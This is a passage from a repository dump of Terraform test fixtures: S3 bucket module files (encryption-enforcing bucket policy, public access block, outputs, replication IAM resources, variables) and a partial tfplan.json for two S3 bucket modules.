["arn:${data.aws_partition.current.partition}:s3:::${join("", aws_s3_bucket.default.*.id)}/*"] principals { identifiers = ["*"] type = "*" } condition { test = "StringNotEquals" values = [var.sse_algorithm] variable = "s3:x-amz-server-side-encryption" } } statement { sid = "DenyUnEncryptedObjectUploads" effect = "Deny" actions = ["s3:PutObject"] resources = ["arn:${data.aws_partition.current.partition}:s3:::${join("", aws_s3_bucket.default.*.id)}/*"] principals { identifiers = ["*"] type = "*" } condition { test = "Null" values = ["true"] variable = "s3:x-amz-server-side-encryption" } } } resource "aws_s3_bucket_policy" "default" { count = module.this.enabled && var.allow_encrypted_uploads_only ? 1 : 0 bucket = join("", aws_s3_bucket.default.*.id) policy = join("", data.aws_iam_policy_document.bucket_policy.*.json) depends_on = [aws_s3_bucket_public_access_block.default] } # Refer to the terraform documentation on s3_bucket_public_access_block at # https://www.terraform.io/docs/providers/aws/r/s3_bucket_public_access_block.html # for the nuances of the blocking options resource "aws_s3_bucket_public_access_block" "default" { count = module.this.enabled ? 1 : 0 bucket = join("", aws_s3_bucket.default.*.id) block_public_acls = var.block_public_acls block_public_policy = var.block_public_policy ignore_public_acls = var.ignore_public_acls restrict_public_buckets = var.restrict_public_buckets } ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/outputs.tf ================================================ output "bucket_domain_name" { value = module.this.enabled ? join("", aws_s3_bucket.default.*.bucket_domain_name) : "" description = "FQDN of bucket" } output "bucket_regional_domain_name" { value = module.this.enabled ? join("", aws_s3_bucket.default.*.bucket_regional_domain_name) : "" description = "The bucket region-specific domain name" } output "bucket_id" { value = module.this.enabled ? join("", aws_s3_bucket.default.*.id) : "" description = "Bucket Name (aka ID)" } output "bucket_arn" { value = module.this.enabled ? join("", aws_s3_bucket.default.*.arn) : "" description = "Bucket ARN" } output "bucket_region" { value = module.this.enabled ? join("", aws_s3_bucket.default.*.region) : "" description = "Bucket region" } output "enabled" { value = module.this.enabled description = "Is module enabled" } output "user_enabled" { value = var.user_enabled description = "Is user creation enabled" } output "user_name" { value = module.s3_user.user_name description = "Normalized IAM user name" } output "user_arn" { value = module.s3_user.user_arn description = "The ARN assigned by AWS for the user" } output "user_unique_id" { value = module.s3_user.user_unique_id description = "The user unique ID assigned by AWS" } output "access_key_id" { sensitive = true value = module.s3_user.access_key_id description = "The access key ID" } output "secret_access_key" { sensitive = true value = module.s3_user.secret_access_key description = "The secret access key. This will be written to the state file in plain-text" } ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/replication.tf ================================================ resource "aws_iam_role" "replication" { count = module.this.enabled && var.s3_replication_enabled ? 1 : 0 name = format("%s-replication", module.this.id) assume_role_policy = data.aws_iam_policy_document.replication_sts[0].json } data "aws_iam_policy_document" "replication_sts" { count = module.this.enabled && var.s3_replication_enabled ? 1 : 0 statement { sid = "AllowPrimaryToAssumeServiceRole" effect = "Allow" actions = [ "sts:AssumeRole" ] principals { type = "Service" identifiers = ["s3.amazonaws.com"] } } } resource "aws_iam_policy" "replication" { count = module.this.enabled && var.s3_replication_enabled ? 1 : 0 name = format("%s-replication", module.this.id) policy = data.aws_iam_policy_document.replication[0].json } data "aws_iam_policy_document" "replication" { count = module.this.enabled && var.s3_replication_enabled ? 1 : 0 statement { sid = "AllowPrimaryToGetReplicationConfiguration" effect = "Allow" actions = [ "s3:Get*", "s3:ListBucket" ] resources = [ aws_s3_bucket.default[0].arn, "${aws_s3_bucket.default[0].arn}/*" ] } statement { sid = "AllowPrimaryToReplicate" effect = "Allow" actions = [ "s3:ReplicateObject", "s3:ReplicateDelete", "s3:ReplicateTags", "s3:GetObjectVersionTagging" ] resources = ["${var.s3_replica_bucket_arn}/*"] } } resource "aws_iam_role_policy_attachment" "replication" { count = module.this.enabled && var.s3_replication_enabled ? 1 : 0 role = aws_iam_role.replication[0].name policy_arn = aws_iam_policy.replication[0].arn } ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/variables.tf ================================================ variable "acl" { type = string default = "private" description = "The [canned ACL](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl) to apply. We recommend `private` to avoid exposing sensitive information. Conflicts with `grants`." } variable "grants" { type = list(object({ id = string type = string permissions = list(string) uri = string })) default = null description = "An ACL policy grant. Conflicts with `acl`. Set `acl` to `null` to use this." } variable "policy" { type = string default = "" description = "A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy" } variable "force_destroy" { type = bool default = false description = "A boolean string that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable" } variable "versioning_enabled" { type = bool default = false description = "A state of versioning. Versioning is a means of keeping multiple variants of an object in the same bucket" } variable "logging" { type = object({ bucket_name = string prefix = string }) default = null description = "Bucket access logging configuration." } variable "sse_algorithm" { type = string default = "AES256" description = "The server-side encryption algorithm to use. Valid values are `AES256` and `aws:kms`" } variable "kms_master_key_arn" { type = string default = "" description = "The AWS KMS master key ARN used for the `SSE-KMS` encryption. This can only be used when you set the value of `sse_algorithm` as `aws:kms`. The default aws/s3 AWS KMS master key is used if this element is absent while the `sse_algorithm` is `aws:kms`" } variable "user_enabled" { type = bool default = false description = "Set to `true` to create an IAM user with permission to access the bucket" } variable "allowed_bucket_actions" { type = list(string) default = ["s3:PutObject", "s3:PutObjectAcl", "s3:GetObject", "s3:DeleteObject", "s3:ListBucket", "s3:ListBucketMultipartUploads", "s3:GetBucketLocation", "s3:AbortMultipartUpload"] description = "List of actions the user is permitted to perform on the S3 bucket" } variable "allow_encrypted_uploads_only" { type = bool default = false description = "Set to `true` to prevent uploads of unencrypted objects to S3 bucket" } variable "lifecycle_rule_enabled" { type = bool default = false description = "Enable or disable lifecycle rule" } variable "prefix" { type = string default = "" description = "Prefix identifying one or more objects to which the rule applies" } variable "noncurrent_version_transition_days" { type = number default = 30 description = "Number of days to persist in the standard storage tier before moving to the glacier tier infrequent access tier" } variable "noncurrent_version_expiration_days" { type = number default = 90 description = "Specifies when noncurrent object versions expire" } variable "cors_rule_inputs" { type = list(object({ allowed_headers = list(string) allowed_methods = list(string) allowed_origins = list(string) expose_headers = list(string) max_age_seconds = number })) default = null description = "Specifies the allowed headers, methods, origins and exposed headers when using CORS on this bucket" } variable "standard_transition_days" { type = number default = 30 description = "Number of days to persist in the standard storage tier before moving to the infrequent access tier" } variable "glacier_transition_days" { type = number default = 60 description = "Number of days after which to move the data to the glacier storage tier" } variable "enable_glacier_transition" { type = bool default = true description = "Enables the transition to AWS Glacier which can cause unnecessary costs for huge amount of small files" } variable "enable_standard_ia_transition" { type = bool default = false description = "Enables the transition to STANDARD_IA" } variable "expiration_days" { type = number default = 90 description = "Number of days after which to expunge the objects" } variable "abort_incomplete_multipart_upload_days" { type = number default = 5 description = "Maximum time (in days) that you want to allow multipart uploads to remain in progress" } variable "lifecycle_tags" { type = map(string) description = "Tags filter. Used to manage object lifecycle events" default = {} } variable "block_public_acls" { type = bool default = true description = "Set to `false` to disable the blocking of new public access lists on the bucket" } variable "block_public_policy" { type = bool default = true description = "Set to `false` to disable the blocking of new public policies on the bucket" } variable "ignore_public_acls" { type = bool default = true description = "Set to `false` to disable the ignoring of public access lists on the bucket" } variable "restrict_public_buckets" { type = bool default = true description = "Set to `false` to disable the restricting of making the bucket public" } variable "s3_replication_enabled" { type = bool default = false description = "Set this to true and specify `s3_replica_bucket_arn` to enable replication. `versioning_enabled` must also be `true`." } variable "s3_replica_bucket_arn" { type = string default = "" description = "The ARN of the S3 replica bucket (destination)" } variable "replication_rules" { # type = list(object({ # id = string # priority = number # prefix = string # status = string # destination = object({ # storage_class = string # replica_kms_key_id = string # access_control_translation = object({ # owner = string # }) # account_id = string # }) # source_selection_criteria = object({ # sse_kms_encrypted_objects = object({ # enabled = bool # }) # }) # filter = object({ # prefix = string # tags = map(string) # }) # })) type = list(any) default = null description = "Specifies the replication rules if S3 bucket replication is enabled" } ================================================ FILE: tests/terraform/graph/resources/modules_edges_tfplan/s3module.tf ================================================ module "s3-bucket-1" { source = "terraform-aws-modules/s3-bucket/aws" version = "4.0.1" } module "s3-bucket-2" { source = "terraform-aws-modules/s3-bucket/aws" version = "4.0.1" } ================================================ FILE: tests/terraform/graph/resources/modules_edges_tfplan/tfplan.json ================================================ { "format_version": "0.2", "terraform_version": "1.0.7", "planned_values": { "root_module": { "child_modules": [ { "address": "module.test", "child_modules": [ { "resources": [ { "address": "module.test.module.s3-bucket-1.aws_s3_bucket.this[0]", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "force_destroy": false, "object_lock_enabled": false, "tags": null, "timeouts": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "module.test.module.s3-bucket-1.aws_s3_bucket_public_access_block.this[0]", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "sensitive_values": {} } ], "address": "module.test.module.s3-bucket-1" }, { "resources": [ { "address": "module.test.module.s3-bucket-2.aws_s3_bucket.this[0]", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "force_destroy": false, "object_lock_enabled": false, "tags": null, "timeouts": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "module.test.module.s3-bucket-2.aws_s3_bucket_public_access_block.this[0]", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "sensitive_values": {} } ], "address": "module.test.module.s3-bucket-2" } ] } ] } }, "resource_changes": [ { "address": "module.test.module.s3-bucket-1.aws_s3_bucket.this[0]", "module_address": "module.test.module.s3-bucket-1", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": false, "object_lock_enabled": false, "tags": null, "timeouts": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket": true, "bucket_domain_name": true, "bucket_prefix": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "module.test.module.s3-bucket-1.aws_s3_bucket_public_access_block.this[0]", "module_address": "module.test.module.s3-bucket-1", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "after_unknown": { "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": {} } }, { "address": "module.test.module.s3-bucket-2.aws_s3_bucket.this[0]", "module_address": "module.test.module.s3-bucket-2", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": false, "object_lock_enabled": false, "tags": null, "timeouts": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket": true, "bucket_domain_name": true, "bucket_prefix": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "module.test.module.s3-bucket-2.aws_s3_bucket_public_access_block.this[0]", "module_address": "module.test.module.s3-bucket-2", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "after_unknown": { "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": {} } } ], "prior_state": { "format_version": "0.2", "terraform_version": "1.0.7", "values": { "root_module": { "child_modules": [ { "address": "module.test", "child_modules": [ { "resources": [ { "address": "module.test.module.s3-bucket-1.data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "account_id": "101860328116", "arn": "arn:aws:iam::101860328116:user/atlantis", "id": "101860328116", "user_id": "AIDARPN2ZIK2PHMJSNYXG" }, "sensitive_values": {} }, { "address": "module.test.module.s3-bucket-1.data.aws_partition.current", "mode": "data", "type": "aws_partition", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "dns_suffix": "amazonaws.com", "id": "aws", "partition": "aws", "reverse_dns_prefix": "com.amazonaws" }, "sensitive_values": {} }, { "address": "module.test.module.s3-bucket-1.data.aws_region.current", "mode": "data", "type": "aws_region", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": "Europe (Frankfurt)", "endpoint": "ec2.eu-central-1.amazonaws.com", "id": "eu-central-1", "name": "eu-central-1" }, "sensitive_values": {} } ], "address": "module.test.module.s3-bucket-1" }, { "resources": [ { "address": "module.test.module.s3-bucket-2.data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "account_id": "101860328116", "arn": "arn:aws:iam::101860328116:user/atlantis", "id": "101860328116", "user_id": "AIDARPN2ZIK2PHMJSNYXG" }, "sensitive_values": {} }, { "address": "module.test.module.s3-bucket-2.data.aws_partition.current", "mode": "data", "type": "aws_partition", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "dns_suffix": "amazonaws.com", "id": "aws", "partition": "aws", "reverse_dns_prefix": "com.amazonaws" }, "sensitive_values": {} }, { "address": "module.test.module.s3-bucket-2.data.aws_region.current", "mode": "data", "type": "aws_region", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": "Europe (Frankfurt)", "endpoint": "ec2.eu-central-1.amazonaws.com", "id": "eu-central-1", "name": "eu-central-1" }, "sensitive_values": {} } ], "address": "module.test.module.s3-bucket-2" } ] } ] } } }, "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "profile": { "constant_value": "razorpay-stage" }, "region": { "constant_value": "eu-central-1" } } }, "module.s3-bucket-1:aws": { "name": "aws", "version_constraint": ">= 5.27.0", "module_address": "module.s3-bucket-1" }, "module.s3-bucket-2:aws": { "name": "aws", "version_constraint": ">= 5.27.0", "module_address": "module.s3-bucket-2" } }, "root_module": { "module_calls": { "test": { "source": "./modules/test", "module": { "module_calls": { "s3-bucket-1": { "source": "terraform-aws-modules/s3-bucket/aws", "module": { "outputs": { "s3_bucket_arn": { "expression": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The ARN of the bucket. Will be of format arn:aws:s3:::bucketname." }, "s3_bucket_bucket_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket domain name. Will be of format bucketname.s3.amazonaws.com." }, "s3_bucket_bucket_regional_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_regional_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL." }, "s3_bucket_hosted_zone_id": { "expression": { "references": [ "aws_s3_bucket.this[0].hosted_zone_id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The Route 53 Hosted Zone ID for this bucket's region." }, "s3_bucket_id": { "expression": { "references": [ "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The name of the bucket." }, "s3_bucket_lifecycle_configuration_rules": { "expression": { "references": [ "aws_s3_bucket_lifecycle_configuration.this[0].rule", "aws_s3_bucket_lifecycle_configuration.this[0]", "aws_s3_bucket_lifecycle_configuration.this" ] }, "description": "The lifecycle rules of the bucket, if the bucket is configured with lifecycle rules. If not, this will be an empty string." }, "s3_bucket_policy": { "expression": { "references": [ "aws_s3_bucket_policy.this[0].policy", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this" ] }, "description": "The policy of the bucket, if the bucket is configured with a policy. If not, this will be an empty string." }, "s3_bucket_region": { "expression": { "references": [ "aws_s3_bucket.this[0].region", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The AWS region this bucket resides in." }, "s3_bucket_website_domain": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_domain", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records." }, "s3_bucket_website_endpoint": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_endpoint", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The website endpoint, if the bucket is configured with a website. If not, this will be an empty string." } }, "resources": [ { "address": "aws_s3_bucket.this", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "var.bucket" ] }, "bucket_prefix": { "references": [ "var.bucket_prefix" ] }, "force_destroy": { "references": [ "var.force_destroy" ] }, "object_lock_enabled": { "references": [ "var.object_lock_enabled" ] }, "tags": { "references": [ "var.tags" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket" ] } }, { "address": "aws_s3_bucket_accelerate_configuration.this", "mode": "managed", "type": "aws_s3_bucket_accelerate_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "status": { "references": [ "var.acceleration_status" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.acceleration_status" ] } }, { "address": "aws_s3_bucket_acl.this", "mode": "managed", "type": "aws_s3_bucket_acl", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "acl": { "references": [ "var.acl", "var.acl" ] }, "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.create_bucket_acl" ] }, "depends_on": [ "aws_s3_bucket_ownership_controls.this" ] }, { "address": "aws_s3_bucket_analytics_configuration.this", "mode": "managed", "type": "aws_s3_bucket_analytics_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.key" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "var.analytics_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_cors_configuration.this", "mode": "managed", "type": "aws_s3_bucket_cors_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.cors_rules" ] } }, { "address": "aws_s3_bucket_intelligent_tiering_configuration.this", "mode": "managed", "type": "aws_s3_bucket_intelligent_tiering_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.key" ] }, "status": { "references": [ "each.value.status", "each.value", "each.value.status", "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.intelligent_tiering", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_inventory.this", "mode": "managed", "type": "aws_s3_bucket_inventory", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "each.value.bucket", "each.value", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "destination": [ { "bucket": [ { "account_id": { "references": [ "each.value.destination.account_id", "each.value.destination", "each.value" ] }, "bucket_arn": { "references": [ "each.value.destination.bucket_arn", "each.value.destination", "each.value", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "format": { "references": [ "each.value.destination.format", "each.value.destination", "each.value" ] }, "prefix": { "references": [ "each.value.destination.prefix", "each.value.destination", "each.value" ] } } ] } ], "enabled": { "references": [ "each.value.enabled", "each.value" ] }, "included_object_versions": { "references": [ "each.value.included_object_versions", "each.value" ] }, "name": { "references": [ "each.key" ] }, "optional_fields": { "references": [ "each.value.optional_fields", "each.value" ] }, "schedule": [ { "frequency": { "references": [ "each.value.frequency", "each.value" ] } } ] }, "schema_version": 0, "for_each_expression": { "references": [ "var.inventory_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.lifecycle_rules" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_logging.this", "mode": "managed", "type": "aws_s3_bucket_logging", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "target_bucket": { "references": [ "var.logging[\"target_bucket\"]", "var.logging" ] }, "target_prefix": { "references": [ "var.logging[\"target_prefix\"]", "var.logging" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.logging" ] } }, { "address": "aws_s3_bucket_metric.this", "mode": "managed", "type": "aws_s3_bucket_metric", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.value.name", "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.metric_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_object_lock_configuration.this", "mode": "managed", "type": "aws_s3_bucket_object_lock_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "rule": [ { "default_retention": [ { "days": { "references": [ "var.object_lock_configuration.rule.default_retention.days", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "mode": { "references": [ "var.object_lock_configuration.rule.default_retention.mode", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "years": { "references": [ "var.object_lock_configuration.rule.default_retention.years", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } } ] } ], "token": { "references": [ "var.object_lock_configuration.token", "var.object_lock_configuration" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.object_lock_enabled", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } }, { "address": "aws_s3_bucket_ownership_controls.this", "mode": "managed", "type": "aws_s3_bucket_ownership_controls", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "local.attach_policy", "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "rule": [ { "object_ownership": { "references": [ "var.object_ownership" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.control_object_ownership" ] }, "depends_on": [ "aws_s3_bucket_policy.this", "aws_s3_bucket_public_access_block.this", "aws_s3_bucket.this" ] }, { "address": "aws_s3_bucket_policy.this", "mode": "managed", "type": "aws_s3_bucket_policy", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "policy": { "references": [ "data.aws_iam_policy_document.combined[0].json", "data.aws_iam_policy_document.combined[0]", "data.aws_iam_policy_document.combined" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] }, "depends_on": [ "aws_s3_bucket_public_access_block.this" ] }, { "address": "aws_s3_bucket_public_access_block.this", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "block_public_acls": { "references": [ "var.block_public_acls" ] }, "block_public_policy": { "references": [ "var.block_public_policy" ] }, "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "ignore_public_acls": { "references": [ "var.ignore_public_acls" ] }, "restrict_public_buckets": { "references": [ "var.restrict_public_buckets" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_public_policy" ] } }, { "address": "aws_s3_bucket_replication_configuration.this", "mode": "managed", "type": "aws_s3_bucket_replication_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "role": { "references": [ "var.replication_configuration[\"role\"]", "var.replication_configuration" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.replication_configuration" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_request_payment_configuration.this", "mode": "managed", "type": "aws_s3_bucket_request_payment_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "payer": { "references": [ "var.request_payer" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.request_payer" ] } }, { "address": "aws_s3_bucket_server_side_encryption_configuration.this", "mode": "managed", "type": "aws_s3_bucket_server_side_encryption_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.server_side_encryption_configuration" ] } }, { "address": "aws_s3_bucket_versioning.this", "mode": "managed", "type": "aws_s3_bucket_versioning", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "mfa": { "references": [ "var.versioning[\"mfa\"]", "var.versioning" ] }, "versioning_configuration": [ { "mfa_delete": { "references": [ "var.versioning[\"mfa_delete\"]", "var.versioning", "var.versioning[\"mfa_delete\"]", "var.versioning" ] }, "status": { "references": [ "var.versioning[\"enabled\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.versioning" ] } }, { "address": "aws_s3_bucket_website_configuration.this", "mode": "managed", "type": 